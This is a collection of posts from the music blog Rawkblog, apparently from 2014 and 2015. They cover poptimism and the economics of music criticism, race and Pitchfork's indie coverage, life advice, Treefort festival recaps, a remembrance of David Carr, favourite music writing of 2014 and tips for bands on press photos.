Let’s disregard Nicki Minaj here. There is no “featuring Beyonce,” there is only Beyonce, and surely no frame of “Feeling Myself” could pass through the veil and onto this mortal cloud-streaming plane without her willing it. We have seen her eating a burger. That is her verdict. Beyonce has abandoned veganism, and we have no choice but to join her in the glorious beef chaos to come.

The post Why Beyonce’s burger video just destroyed veganism first appeared on Rawkblog.

These things are always self-satisfied and pretentious but as one of the first of us to cross the dreaded barrier into my 30s (tomorrow!), I do feel like there are just a few knowledge darts I can throw back from the brink of the abyss.

1. It probably feels like having having high cholesterol, a thyroid condition that makes you permanently exhausted or skin cancer that needs immediate surgery is impossible. All these things and more are very, very possible. Listen to your body, get a physical, get blood tests — all of ’em.

2. If you get a kettlebell and a jumprope you never need to go to a gym.

3. White privilege, white supremacy, systemic inequality, the patriarchy, the 1% — all that shit is real. Read about it. Fight against it. Educate people. Vote.

4. Yelling at people about how they are wrong feels good to you. Gently guiding them into awareness and empathy is good for everyone. Most things in life are misunderstandings and not sports rivalries. But this is exhausting and you can’t be Mother Teresa all day, either.

5. Never expect that you know everything about anything. Always be figuring out what piece you’re missing. This is as true for writing music criticism as it is for arguing about global politics.

6. I guess 4 and 5 are really just “offer the help that you can.” This is important professionally: being competitive may be how you get a gig, but being nice, doing favors and building a network is how you create a career.

7. I really believe that there is a connection between the human brain’s glucose-driven struggles with decision-making and why people fall into religious and political paths where they can trust a dogma and don’t have to make a lot of choices. Fuck dogma. Eat almonds and make choices.

8. There are really no good or bad choices (except for, like, overdosing on drugs or gambling away your life savings — and joking aside, those are often symptoms of a disease, addiction*), there are just choices, no one knows what’s going to happen and if something’s not working out, go do something else. You can always quit a job or break up with someone or move back home. If you feel trapped, ask for help.

9. The thing about dream jobs is that you get the job and then you find out it’s still a job, and maybe the thing you wanted to do at age 15 is not how you want to spend ages 25-65. “What do you want be when you grow up?” is a shitty question. We’re all going to be lots of things. Step back, check in on yourself, make sure you’re happy and useful.

10. Hit the limits of what you can do with the tool you can afford, then go buy the better tool. I started with a point-and-shoot camera, bought one with manual settings, got my first crop-sensor DSLR and finally upgraded to full-frame. If you can go buy the best thing right now, cool, but the middle-priced thing is always the best thing, the expensive stuff is literally being made to sell a few copies to idiot rich people.

11. Get some nice headphones. Not Beats. It’s unbelievable how much better music can sound.

12. All those schmucks who retire at age 35 do it because they were making $120,000 a year, not because they were eating peanut butter sandwiches and ramen for every meal. Yeah, save your money, invest in an index fund, understand what an IRA is and how to do your taxes, don’t buy a BMW you can’t afford. You can still go to brunch.

13. Be nice to your parents. You’re going to fight, that’s O.K. Learn how to fight with them in a way that’s not toxic. Same thing for your relationship. Learn to catch yourself when things are getting out of hand, pause, go cool off. Don’t ever bring up old stuff, deal with the problem in front of you. Hug.

14. Adopt a friendly cat. At the adoption center, reach out your hand gently and the cat will come and sniff you and request head rubs. That’s the cat you want.

15. Money is power. Buy local. Support the businesses and community and art you want to exist. Don’t assume something, like your favorite band or a neighborhood restaurant, is going to be fine just because it’s still there.

16. The only difference between childhood and being a grown-up is grey hair and how many responsibilities you have, there is no figuring it out, we are always figuring it out forever, don’t worry so much.

17. You need Joni Mitchell’s “For the Roses” in your life and Wu-Tang Clan’s “Enter the Wu-Tang (36 Chambers).”

Photo: Ella the cat by David Greenwald.

*An earlier version of this post glossed over the potential role of addiction in these actions and I am sorry to have minimized that.

The post Life advice for Millennials first appeared on Rawkblog.

At the Experience Music Project on a recent Thursday night, many of North America’s smartest culture critics gathered to debate a word largely ever used, much less understood, by the 10 people on stage and a handful of their colleagues. It was the opening talk of the annual Pop Convention, a four-day convening of writers, academics and old-fashioned music geeks, and we were about to hear two passionate, colorful hours of debate and discussion on poptimism — a conceptual framework that arose in response to what Kelefa Sanneh once dubbed, or diagnosed, as rockism, a masculine, artisanal, guitar-centric view of music. It’s the view that says “disco sucks” and “rap is crap,” that dismisses rather than seeks out. There’s probably no one alive who would call him or herself a rockist, in, say, the way that rednecks are proud of themselves, but anyone who shared a Beck vs. Beyonce meme in February exemplifies the nature and problem of its influence.

Poptimism didn’t receive a definition on that Thursday, which made the discussion tricky, but across the country, the Washington Post’s Chris Richards provided one in a piece the next morning. Richards approached poptimism on idealogical terms, seeing its initial promise — “that all pop music deserves a thoughtful listen and a fair shake” — warped into a consensus of hero-worship, a climate in which Beyonce can go from “profoundly unconvincing” in 2003’s (quite nuanced!) New York Times to a woman who ran the entire world a startling 40 times in 2014, at least according to a Buzzfeed headline. The Times, and a handful of other privileged editorial outlets, have flooded their moats and continued to encourage criticism with knowledge, depth and honesty, but how long can they last?

Much of what we are debating is not, at its heart, music criticism — an album review, musings from a performance, the consideration of a trending scene or sound. Rather, it’s a political argument, a news item, a fandom love letter: there are some who have not recovered from the way blogging — both as a bloggers-they’re-just-like-us! writing practice and that of the MP3 variety — forever ended the divine authority of the print critic, and we are seeing the extreme end of that now, in headlines that say “STOP YOUR ENTIRE LIFE” when a relevant young diva releases her new Vevo premiere. (I have written some of those myself.)

Richards’ ideas — that critics should do their job, which is to be curious and self-aware, enthusiastic but skeptical, honest but empathetic — should be pretty obvious to anyone who pursues this sort of thing professionally, though the revelation that one’s own uninspected opinions aren’t the beginning and end of taste is somehow a game-changer that doesn’t always arrive. The problem is that there currently is demand for news and identity politics and outright fandom: does anyone need a music critic? (I wrote extensively about the conundrum and the path leading to it last year.)

Sure, five album reviews still show up every morning on Pitchfork, bless their hearts, but other outlets have abandoned them entirely. Why have they done that? Could it be because no one is reading them, or offering to pay for their continued existence?

The thing is, it’s journalism itself, not poptimism, which is the blinkered popularity contest. In the Pop Con debate, Maura Johnston brought up the financial pressures facing writers, who once had the good luck of having no idea how many people ever read their printed work. I can tell you how many views anything I write has up to the minute and every place they came from: more importantly, so can the folks who pay my salary over at my day job. It’s no secret that in online journalism, more is better, and never enough. It’s rare that a music publication has searched for different models, and when they arrive, as Drowned in Sound’s Patreon account did this month, there is no happy clamor among readers to support publications that shy away from the listicles and the soap opera of celebrity news so many say they disdain. Drowned in Sound is among the U.K.’s most influential and well-read music publications: 66 people have agreed to give it a few bucks. Well, 67, since I’ll have signed up by the time you read this. When we give advice to young journalists, they don’t need to hear about nut grafs or Twitter networking: we need to tell them to be as entrepreneurial as the technological forces we bow to, and fix the business models that have subsidized culture criticism out of tenacity and dumb luck for decades.

Advertising worries me, but everything we write under the tyranny of pageviews is in effect a work for two companies: Facebook and Google, the towering forces that mediate the majority of editorial web traffic. The length of a headline, the terms used in it, how much is revealed — all of this is customized for a Google search or a Facebook share, not for readers. Google gives special search treatment to articles that are substantive — over 200 or 250 words, though who really knows — a limit that essentially decimated the old 85-world blurb review that used to be the standard magazine treatment. It’s not a bad thing, to have lengthier criticism in the world, but let’s be aware that the 400-word Pitchfork review exists to appease Google as much as it does any editorial stance. And what gets posted on Facebook? A headline that picks a side, no matter the exaggeration — not one that rambles through the grey middle ground of boring reality that thoughtful cultural criticism tends to.

When a company sets the rules of how we do our jobs, does that not make us its employees? If Facebook and Google are going to restrict us to its algorithms and trending topics, shouldn’t they be sending us checks? Or should we be paying them, for sending us the traffic we slurp up like water in the desert? Google regulates all information this way, and the failure of editorial outlets to generate direct traffic — and direct income sources — is on us, for giving in, for letting others set the boundaries of innovation instead of doing it ourselves. If it’s the role of journalism to speak truth to power, why have we done such a poor job of talking to ourselves?

That I don’t know. But back to poptimism: popular artists draw the most traffic, and it takes the most traffic just to break even, or worse. Clicks are a virtually infinite resource: one publication’s numbers may rise, but only because everyone’s are, and the more of them we all get, the fewer reasons for the marketing business to value any individual 1,000 of them with increasing approval. (Do you know what a CPM is? You should. It’s why you’re broke.) Then there’s the essential inefficiency of a traffic-based business, which acts as a marketing staffed, stand-alone product under the same roof as the content: rather than Google and social media, journalists essentially sell our content and labor to our own in-house middlemen, who sell its attention and prestige to corporations, local businesses and any third party interested in a blinking banner. New-media sites such as Buzzfeed and Vice are ad agencies with a journalism hobby, even if it’s a hobby they really like.

Imagine if a website’s full income came through Patreon subscribers, and that lump sum could go entirely toward producing journalism. A traffic slowdown would also drop the extensive costs associated with serving up pages and images to millions of times a month. Isn’t that how businesses are supposed to work? Patreon has its issues, including a quirky sensibility that’s at odds with a serious news project as well as its associated fees, but at least it’s a one-stop shop. But maybe this is too hard to imagine. I certainly like my job, and cannot complain too heartily about the source of its revenue; I tried to do things different once, and it was a disaster.

We can think about poptimism and rockism and Rihanna being a genius or not instead, as the panel did last week. There are other ways forward that are less binary, less us vs. them: In 2013, I led a South by Southwest panel called “Imagining a Post-Snob World,” whose point was not to say that all music should be heard equally: only that it was created that way, with a new wave of artists, from Grimes to Kanye West, breaking down barriers of genre and taste that the ever-shuffling iPod generation has embraced without outdated worries. Yes, we still have goths and punks and ravers and hip-hop heads: the cultural cliques formed around shared fandom haven’t been replaced, but witness how easy it was for Taylor Swift to hop from country to pop or the Grammy victory of two French house DJs.

To consider music from an accordingly narrow viewpoint — a cynical reading of poptimism, which searches for and imbues meaning in the monied mainstream, or rockism, which fences itself in behind craft, authenticity and dick-having — has been rendered moot: the gap between Katy Perry and Led Zeppelin is now a YouTube or Spotify click away. We no longer have to invest in record collections, and though fandoms remain for those who want them, the Swifties and Katy Cats who spend their days trending away, those tend to be teen pursuits, as the most focused and passionate love affairs always are. We have never had more access to music of all kinds and eras: our minds have been blown open accordingly, and frankly, much of criticism has failed to catch up.

We are all trying to do our best: maybe this debate speaks to you, or you haven’t read Carl Wilson’s Celine Dion book yet. Do that! Have some revelations! Recognize and appreciate the limits or extents of your taste for what they are! But as we wonder whether or not Rihanna’s a pop Einstein, we should be wondering how many people still want to hear us say so.

The post Enough with poptimism: Music critics have bigger problems first appeared on Rawkblog.

I spent the last five days at the Treefort Music Fest in Boise, Idaho seeing bands from Built to Spill to Portland acts I’d barely heard of. It was pretty great. Here’s all my Oregonian coverage:

26 things we learned at the 2015 Treefort Music Festival
Sunday: TV on the Radio, Like a Villain and more
An indie rock orchestra goes epic at Band Dialogue III
Saturday: Mascaras, Hip Hatchet and more
Friday: Built to Spill, Summer Cannibals and more
Thursday: Cymbals Eat Guitars, Happyness, There is No Mountain and more
I finally heard a Pono Player
Wednesday: Divers, Turquoise Jeep and more

The post Treefort Music Fest 2015: The full recap first appeared on Rawkblog.

We should be learning from each other, talking and listening and listening more, instead of treating every disagreement as an argument, a stupid debate club meeting with two sides and a trophy. In criticism, there is no being right, not objectively: at its ideal, it is the act of trying to understand what’s being offered, and what that offer means. It is a dialogue shaped by experience and emotion.

I offer this essay, this media criticism, in dialogue. Not to be right. Not to attack. Not to have one paragraph out of many copy-pasted into Twitter and Tumblr to be heroically refuted and shamed. I didn’t want to write this piece and it is scary to publish it — David Carr, I’m not — but I felt like someone had to and so I did. Have at it.

2. On Thursday, the Pitchfork website ran a thoughtful editorial by Sarah Sahim titled “The Unbearable Whiteness of Indie,” a fair and provocative headline that could’ve even been extended: “indie,” which has been at turns a genre, a business model and an extensive web of scenes and players, has also been unbearably male, and with a few crucial exceptions, unbearably heterosexual. It took decades for Michael Stipe and Morrissey, the 1980s college-rock scene’s most essential voices, to publicly come out, and no doubt they waited with good reason.

Sahim presents Belle & Sebastian as a genre figurehead, and I have to admit they represent the kind of indie I identify with most: pretty, sensitive, bookish, a retreat from jockish, dumb and hurtful straight, white masculinity. It is music as a safe space, though, yes, a safe space made and supported by white people. Sahim brings up Wes Anderson, and he, too, fills that role: the performance of sensitivity, feeling and sweetness, the anti-Michael Bay. (White) indie has been “proud to dissociate” from popular (white) culture because it sees that culture and feels ashamed and alienated.

But maybe that’s defense, not dialogue. Let’s take Sahim’s overall message: that people of color and their contributions should be more visible in the underground. She’s spot on with this:

“It’s important to seize and act on precedents being set by the likes of Heems and M.I.A., paving a way that makes it easier for new artists of colour to follow suit and make their mark… Visibility of people of color in independent music is absolutely paramount for the genre to evolve and truly represent those cast away from the scene for too long.”

That’s undeniable. The underground, at its best, should foster an unlimited range of artistic perspectives and safe spaces, unburdened by the limitations and fears of economic pressure or pandering mass appeal. Even those pressures are outdated: America is more diverse than ever, and the success of “Empire” and Beyonce and the female-driven action heroism of “The Hunger Games,” among so many others, prove the overwhelming demand for all kinds of people — particularly women and people of color — to make art and entertainment that reflects their lives.

Music and its fans have lagged behind in too many areas: the crusty rock fans who, not understanding pop and hip-hop, think three elementary guitar chords constitute “real music” and post ugly memes about Beyonce; the electronic DJs who advertise their gigs with women’s bodies, as Pitchfork pointed out recently; music festival bookers who are supposed to be on the cutting edge, filling festivals with returning white male guitar-rock acts, even as college kids are really showing up to see black rappers — and would presumably still buy a ticket if the bill was half women.  

But we are talking about “indie” and this is where its definition and scope become important: Pitchfork, to its credit and great financial success, has been synonymous with a generation’s awareness of what the amorphous underground is as an arbitrarily unified scene. No media outlet has more directly shaped the online era’s incarnation of indie. Two of the artists Sahim points out — M.I.A. and Bat For Lashes — record for major labels: what marks them as indie, as acceptable to a snobbish and insecure audience, is a lack of pop success and a presence in Pitchfork’s reviews, news articles and features. M.I.A.’s played the Grammys, hell, the Super Bowl: such artists are underground almost solely by association, an association established and reaffirmed for over 15 years by Pitchfork coverage — and yes, blogs, public radio, music supervision and so on, but those outlets sure take a lot of the same cues, don’t they?

So Pitchfork’s approach to artists of color over the years, to anyone who doesn’t look like they play in Belle & Sebastian — matters. Indie rock is a system, one perpetuated by publicists and booking agents and media coverage and festival gigs, where many parts work in tandem to maintain their exclusionary gravity. Pitchfork is a complicit and responsible partner, as Sahim explicitly notes.

So it’s curious when she misses certain things. Sahim mentions the rapper Heems, whose new album explores the deep and raw lived experience of life as a brown person after 9/11. It is an album that expects to be taken seriously, not trapped in the lingering fog of “joke rap” billowing from Heems’ past in Das Racist, a rap group with a sense of humor. Such a label “invalidates and writes off the truth of their experience as Asian Americans,” Sahim writes, and I agree. The paragraph links to an NPR interview with Heems where he discusses the label. It does not link to the Pitchfork review of Heems’ new album, which calls Das Racist a “joke-rap group” in the first sentence.

Jayson Greene, an experienced and accomplished critic, wrote that review, and he’s of course entitled to have his opinion and make his case. But Greene is also Pitchfork’s reviews editor, and his piece spends one paragraph addressing the album’s conceptual weight and moves on to a critique of Heems’ punchlines. It is a crucial part of modern liberalism that allies, assuming Greene is one, know when to sit down: if Pitchfork’s reviews person assigns himself an album he is not interested in interrogating thoroughly on its race-driven themes, what does that say about the site’s overall approach?

Pitchfork is not the kind of outlet that apologizes or even acknowledges its criticisms: like booking R. Kelly, a destructive force in the lives of numerous Chicago women and girls, to headline its festival; or a review of a John Coltrane collection by site founder Ryan Schreiber written in jive. That review – written with no racism intended, undoubtedly – has been removed from Pitchfork’s website. Earlier this year, a paragraph in a review by Ian Cohen, a contributing editor, began to go viral thanks to a clueless rumination on class and poverty: “In 2015, factory work seems more like a vocation for people who just somehow ended up with that job, because that’s what you do, I guess,” he wrote. “But it’s also a potentially attractive situation where the repetition and physical labor can be meditative, a good way to shut off one’s mind, especially when it tries to parse how you ended up as a factory worker in 2015.”

Pitchfork removed those lines and added a rare addendum to the piece: “Editors note: an earlier version of this review contained an aside in the first paragraph whose meaning was unclear; it should have been removed in editing initially and we have done so in hindsight.” The meaning was perfectly clear: a Pitchfork contributing editor revealed his frankly horrific understanding of systemic working-class realities, the reality of many of the bands he still writes about, for Pitchfork, in multiple reviews a week. Maybe “it should have been removed initially,” but maybe, probably, nobody thought it was a problem until Twitter pointed it out.

Ignorance is often easy and so are mistakes: in the last few years, seemingly every cultural institution (and this writer’s failed Kickstarter) has faced a serious and overdue inspection of its diversity and viewpoint. Music criticism at large still carries the blinders of its own white, male problem (though why there are so many Jewish guys writing about rap, I can’t explain), and Pitchfork can’t be blamed for that original sin. It’s taken strides toward improving itself with hires such as Lindsay Zoladz (now at New York Magazine), Jessica Hopper and Jenn Pelly, and the frequent contributions of Craig Jenkins, Meaghan Garvey, Hazel Cills and others. But it’s not even close to overall gender parity and much farther from any kind of non-white, straight, cis representation, the kind of truly wide-ranging staff newer, nimbler outlets — Buzzfeed, most notably — are built upon.

And in the work itself, Pitchfork’s efforts to reform itself as diverse and activist-oriented are infrequent and offered as one-offs, not as the site’s revamped heart. One could argue Pitchfork’s even been exploitative, picking and choosing its moments of liberal alliance: this is a site that posts a misogynist, trolling Sun Kil Moon song with a premiering download link on one page and a feminist op-ed by Meredith Graves against it on another. Jes Skolnik can take a necessary look at the offensive work of noise-rock bands but the way Kanye West talks about women basically doesn’t matter because Art, No. 2 album of 2013! “‘Strange Fruit’ apartheid, and the Civil Rights sign were given new power through perversion,” Cohen wrote in his year-end blurb — because “perversion,” not “aggression toward black women,” is what West’s lyrical fist must represent. Skolnik has written twice for Pitchfork so far, Graves once: Cohen’s on the site all the goddamn time.

Consider the Faustian bargain Sahim took to place this op-ed on Pitchfork, her first byline there. She no doubt knew it would find a wide reach — it has over 20,000 Facebook shares at the time of this writing — but at what cost? She’s allowed to be critical of Pitchfork’s praise for white artists such as Vampire Weekend and Dirty Projectors, who have relied on borrowed African musics, but her piece doesn’t inspect the ways Pitchfork treats the artists of color she’d like to see more of. [Edit: I overlooked that Vampire Weekend’s Rostam Batmanglij is Iranian-American and apologize — which exemplifies how complicated this is.]

There are reasons why indie rock is so white: for one, because its existing whiteness inspires more of it, presenting itself as an alienating space. When media reflects stereotypes, it reinforces them: it is on every writer to have an open mind, to write about music and people who challenge them, and to recognize that means less room for letting white mediocrity slide. Covering another white rock album or another black hip-hop album is an act of boundary-keeping: one by one, these decisions, like many in arts writing, are subjective. But in aggregate, like the Silicon Valley start-ups that can’t understand how they’ve hired so many white men, the bias is the decision. 

There are a number of indie artists who went unmentioned in Sahim’s piece who see regular Pitchfork coverage — TV on the Radio, Toro Y Moi, Deerhoof — but largely, when Pitchfork covers black men, they play rap music. Black women? They sing R&B. White people play rock and occasionally electronic music. (D’Angelo, a rare and transcendent exception, sings R&B and plays guitar.) Where are the news headlines for, say, guitarist Benjamin Booker, who’s toured with Jack White? Are they buried in White’s guacamole? So far this year, the site has allowed three entire paragraphs on the return of Alabama Shakes, a band that moves mountains over on NPR. Since January 2014, only two boundary-breaking artists of color — FKA twigs, who does sort of sing R&B, and Flying Lotus, who has a rap alter-ego — have earned Best New Music album reviews, as white rockers and producers scoop them up like M&Ms.

Looking for indie rock artists of color? They’re everywhere in Portland, the city I write about: how about Vikesh Kapoor, a folk singer and child of Indian immigrants who does Dylan revival as well as any white schmuck with a beard, a beanie and a flannel shirt? Or Magic Mouth, a dance-punk act with a black, gay frontman? Why not more notice for the Thermals, whose Kathy Foster shreds punk bass with the best of them? Portland is literally the whitest major metropolitan area in America. If these artists can be found here, they are in New York and Chicago and Los Angeles, Pitchfork’s backyards.

Pitchfork bills itself as a site with an independent core, but that hasn’t been true for years: it is a site as much about major label celebrities as it is DIY. That’s been essential to its depth of diversity: a simplistic view of the site’s coverage breaks down to a world where indie is white and the mainstream is black. Beyonce gets Pitchfork album reviews: Taylor Swift doesn’t. Pitchfork might argue its editorial scope has followed its readership, rather than driving it: people just like major label hip-hop and R&B and independent rock now, and, well, those are made by stereotypical participants! That’s… not a very brave path. 

Look: the question is whether these issues matter to Pitchfork, as a capitalist brand and influential editorial force, or if articles like Sahim’s aren’t reflective of anything beyond a clickable trend — just one freelance writer’s take, sequestered to a blog. Controversy is cheap: if these ideas matter, they need to matter all the time, not just when they’re convenient or profitable. This movement is happening in music writing already, in Rookie and Portals and even Fader. There’s precedent for a publication to do a serious reckoning: it took decades, and new management, but The New Republic grappled just this year with its problematic past in a way that more publications and individuals should. I include myself in that: there are deleted pages and moments of shame and foolishness on my blog as well. It’s a process for everyone — I hope it’s one for Pitchfork.

Full disclosures: I know and like many Pitchfork contributors past and present and think the site does as much good music journalism as anyone. I worked with Greene as a freelancer briefly at eMusic. I’ve been on a panel with Schreiber and seen him socially. I met Ian Cohen once in real life: he was not nice. I’ve pitched the site a number of times but never written for them: my byline has survived.

The post On Pitchfork, race and indie rock first appeared on Rawkblog.

For the first year in six years, I wasn’t in Austin for SXSW this month. I did miss it, but I spent last week cramming for 400 bands instead of 2,000 while plotting my trip to Boise, Idaho’s Treefort Music Fest, which kicks off today. I’ll be reporting in words and photos daily (and hourly) for The Oregonian.

Keep up with my coverage here:
* OregonLive.com/Music
* Instagram
* Twitter
* Meerkat

Yes, Meerkat. Follow along, it’ll be fun.

Photo: Treefort in 2014. FrancisDelapena.com

The post Live from Treefort Music Fest 2015 first appeared on Rawkblog.

David Carr was looking for answers.

He was always doing that, but this time, he was asking me for them. The Oregonian, the newspaper where I work and an institution older than the state itself, was making changes: pushing into digital and pushing its staff, not all of whom run their own music blog, with a new set of metrics to get them posting instead of filing, thinking in photo galleries instead of inch counts.

I’d watched the New York Times documentary, Page One, not long before. Carr is essentially the film’s hero, taking on the puffed-up new media renegades at Vice and doing heavy, risky reporting on the Los Angeles Times — another paper I’ve worked at. Carr got the story right. He usually did.

Seeing his name in my inbox was not unlike getting an email from God. But I like my job, and declined to give him any insider info, not that there was much to give. Here’s the column he wrote.

I don’t know why he picked me, or if he emailed a number of us. But he was nice. I figured that was the end of it. That was almost a year ago.

Then he emailed me again. It was a mistake, my name no doubt auto-filling as he typed in “Greenwald.” The one he wanted was Glenn, then in the wake of the Edward Snowden story that had shaken up America. He was going to be in Rio for a couple of days and wanted to put together an interview. I told him, uh, that he’d reached the wrong Greenwald (no relation). He didn’t respond.

Carr died on Thursday, just 58. I looked up that email just now. He had the usual signature, his name, position and contact information — including Twitter, where he often retweeted his critics, always willing to share the opposing view. Under it was a quote from Hunter S. Thompson. “Call on God, but row away from the rocks.” No doubt Carr’s on the line with Him already, voice recorder rolling.

Photo: David Carr in the Page One documentary. Credit: Magnolia Pictures

The post Emailing with David Carr first appeared on Rawkblog.

Thump, thump, thump, thump. A foreboding 4/4 bass line anchors “1 X,” the first track on Sleep Good’s Dream Dealer, but the instrumental track’s sounds and feelings are much kaleidoscopic. Synthesizer tones circle like wind chimes — or perhaps alongside actual wind chimes — and gradually the beat gives way to an airy aftermath.

Dream Dealer spends its 11 tracks exploring the distance between those two poles: dark, defined beats and melodic, puffy-cloud ambience, with much to be discovered in between. “Godlike” captures a Danger Mouse-style funkiness; the driving chamber-rock sound of “Om the Dome” has shades of early Caribou, but with vocals, it’d make for a fine track for rockers in need of a single. But a track later, Sleep Good settles into gauzy country-western.

It’s a significant departure from the indie-pop the Austin act offered on its Skyclimber album. While the shifts are many, within the album, they’re changing scenery, not swerves on the road. The new release is a smooth and intriguing ride: where Sleep Good goes next is anyone’s guess.

Photo credit: Danny Yirgou

The post Premiere! Sleep Good – ‘Dream Dealer’ first appeared on Rawkblog.

I don’t want this to be a big deal or the last word or anything — even my superficial lists are super-official — but there was a lot of great work out there last year and I want to give some credit. My reading has largely shifted over from personal blogs to more professional sites lately, for better or worse, and I’ve been pleased to find great piece after great piece by people who are able, I hope, to do this for a living.

The Internet Content Farm at large often delivers a bitter and disappointing harvest, yes, but no doubt the same is true for the subjects of sports and politics and business and medicine and film and everything else that passes into public URL discourse. For those worried about the state of music journalism: read more of it, and if you find yourself clicking a Rihanna Instagram headline for the fifteenth time, your jaw already clenching in righteous fury, read something else.

I wish the Best Music Writing series was still going in printed, bound form (it is not) but here, on a blog, I offer my lowly homage. Full disclosure: I have worked with a few of these people and probably follow all of them on Twitter.

Spoon, the Molecular Gastronomists of Rock by Dan Kois

Kois, a terrific writer who once did the definitive story on Portland karaoke but doesn’t often grace the music beat with his presence, cuts deep into the sausage-making of one of the best and sturdiest bands in rock. Related: Mike Powell’s Accidents Happen: Britt Daniel on the Songs of Spoon.

The Bulletproof Altar of St. Vincent by Devon Maloney

The definitive album-cycle piece on one of the most intriguing and potent figures in rock, a musician who plays guitar like Thurston and reinvents herself like Bowie. Maloney discovers details both comic and profound.

Run the Jewels: How 2014’s Brashest Rap Duo Came Back From Oblivion by Christopher R. Weingarten

Another definitive album-cycle piece (there’s one more below) from a writer who brings an expert hip-hop knowledge and draws candid interviews in this piece, which is a buddy comedy that swerves occasionally into drama.

At Home, Kinda, With Ryan Adams by Bob Mehr

This is the article I wanted to write this year: “Welcome to Pax-Am,” says Ryan Adams. “This is where we make records.” Enter, and you’ll find rock ‘n’ roll alive and well.

It’s Hip to Be Swift by Molly Lambert

I thought hard about Taylor Swift’s 1989, but no matter how deep I get into any pop culture tunnel, Lambert’s already found some new corner and dug onward. Her work at Grantland is usually my favorite on the site, and that’s no low bar.

Let’s Be Real: The Grammys Have Always Relegated Beyoncé to the R&B Category by Jillian Mapes

In the evolving economy of hot takes, briefly considered essays on why a particular news event matters beyond its initial headlines, we are lucky to have a thinker as agile and empathetic as Jillian Mapes. Her takes are never rushed, never mean, never about preaching to her internal choir. While I tend to agree with her, I’d like to think that’s because her arguments are so good. Here she is in fine form, explaining why the Album of the Year’s not quite a Grammy darling.

A Chat with Dionne Osborne, the Vocal Coach Who Changed Drake’s Style by Jia Tolentino

The best thing I read all year: an article with a fascinating and previously unconsidered personality who has transformed the performance and work of one of our most popular, influential talents. It is funny, honest and made me feel a little awkward whenever Osborne, a child of North Carolina, talks about Jews. Like I said, honest.

50 Cent is My Life Coach by Zach Baron

The second-best thing I read all year. Emotional and personal in a way you might not expect from a 50 Cent profile, which is exactly the point.

Jason Molina’s Long Dark Blues by Max Blau

Blau clearly spent a long time working on this piece, which chronicles the awful end of a great songwriter’s life. It was worth every hour.

A Conversation with Aphex Twin by Philip Sherburne

A meeting of the minds between an electronic guru — that’s Sherburne — and arguably the medium’s most mysterious, influential figure of the last two decades.

Health Goth: When Darkness and Gym Rats Meet by Meirav Devash

The strange tale of how a talented Portland band may have started a cultural movement that’s exploded far beyond their womb.

Thirty-Three Hit Wonder by Nick Paumgarten

If it was shocking when Sasha Frere-Jones left The New Yorker after an extensive, exhaustive run as pop critic, it is because there is no publication that routinely features such perfectly crafted journalism, from its prose to its form to its details to, in this one, about the great and maligned Billy Joel, its personal plot twists. If you want to learn how to write profiles, everything you need is here.

The oral* history of Music Tumblr, 2008-2014 by Casey Newton

Some generations get CBGB. We got a social blogging website for teenagers. I don’t know if there’s an Oral History of Blogger Blogs, 2003-2007, but that should be the prologue to this.

Azealia Banks – Broke With Expensive Taste by Craig Jenkins

An iconoclastic figure, a tricky album, a complicated city: Jenkins captures all of them in this review, an easy fumble in lesser hands.

These Are The Songs Teens Actually Want To Hear At Prom by Naomi Zeichner

Imagine, instead of pretending we knew what teenagers were thinking about pop music, trends and coolness, we just talked to them.

Super Heroine: An Interview With Lorde by Tavi Gevinson

The best part of this long and freewheeling conversation is Lorde is absolutely trying to impress Tavi.

***

Three weeks into 2015, I’m already thinking about this year’s highlights. Feel free to send me yours from either calendar.

Photo: St. Vincent in 2014 / David Greenwald

The post Best Music Writing 2014 first appeared on Rawkblog.

Meant to have this out before 2014 was over, so consider it a bookend. Here’s the third volume of my ongoing surreal-pop series, with Foxes in Fiction, Bear in Heaven, Mr Twin Sister and many more. Surprisingly few guitars!

Volume 1
Volume 2
Follow me on Rdio

Cover image courtesy of NASA.

The post I Never Learned To Drive Vol. III first appeared on Rawkblog.

If you had asked me, two days ago, what would give me reason to limber my nearly 30-year-old bones for another year or what balm might ease worries from my troubled brow in 2015, I would not have thought to ask for a new song each week from Jens Lekman. That would be a gift too generous and sweet to imagine, much less demand. But here it is, no Santa needed: Lekman plans to deliver a new tune, or a melodious fragment of one, throughout 2015 as he polishes the full-length follow-up to I Know What Love Isn’t.

As he writes, beautifully:

You see, I spend a lot of time on my songs, on their details. I sweep the streets that my characters walk on and polish every doorknob until I feel confident to let other people in. But it does lead to a very isolated creative phase.

Follow Lekman on SoundCloud and hear his first dispatch below.

The post Jens Lekman delivers ‘Postcard #1,’ the first of a year’s worth first appeared on Rawkblog.

Cheers!

The post Happy New Year first appeared on Rawkblog.

As a music writer for over a decade, I’ve probably spent entire weeks of my life sending email after email to track down musician photos I can publish, legally and sharp-looking, in websites, magazines and newspapers. Occasionally, label or publicity websites have press pages that make this stuff easy, but often bands and everyone who works for them screw this up. Here’s how to make journalists and bloggers’ lives a lot easier and look good doing it.

Take a photo

Have your friend do it on an iPhone and boost the sharpening and contrast. Hire a professional photographer for money. Whatever. Whoever does it, you need a signed agreement stating that you have an unlimited license to freely use, publish and provide the photo to media (web, print, video). Maybe you are buying the rights to the photo but probably the photographer will retain them.

One photo is good. Two or three are better — blogs want to stand out, just like you. Make them horizontal, please. For both vertical and horizontal images, consider leaving some empty space in the photo to put text on top of — magazines love that.

Get the image

You should have a 300 DPI .jpg file in the highest possible resolution in the sRGB color space. sRGB is how photos look online – the DPI is for print. Your photographer will know what this all is: if he or she doesn’t, get a new one. It’s fine if the file is 5 times bigger than anyone will ever post, we will shrink and crop it for our needs.

Other color spaces, like Adobe RGB, can work for print, but if the publication in question needs something particular, they’re probably doing a photo shoot with you anyway. If you must do something other than sRGB, do both and label them.

Post the image

On your website, make a /press-kit or /photos page. Post thumbnails with direct download links to the image. That will look something like this: http://www.secretlycanadian.com/press/electricyouth/ Don’t put them in a Flash gallery or some weird thing where they can’t be downloaded. Think about it.

Someone should be able to Google “(Your band) press photos” and get to the page.

If you want to post the photos in a Dropbox or Google Drive or whatever, fine. But link to them. On your press kit or photos page. Which you should have. No fan is going to accidentally click it and be ashamed of you.

Photo credits

Photos have copyrights, just like your music. Caption the photo with the photographer’s name or appropriate credit. If you / your label / someone else owns the photo, list that credit! So there is no confusion, it should read: “Credit: (name of the credit).”

Before you upload it, put the credit in the file name, too, so we don’t have to track it down again later. Your-band-photographer-name-2014.jpg.

See how I listed the year, too? Do that. Then people can use the new photo and not the one from 2003 that they found on Google Image Search because they couldn’t find the ones you shot two weeks ago.

THANK YOU.

Photo: Electric Youth / credit: Vanessa Heins

The post Bands: How To Do Press Photos For Blogs And Beyond first appeared on Rawkblog.

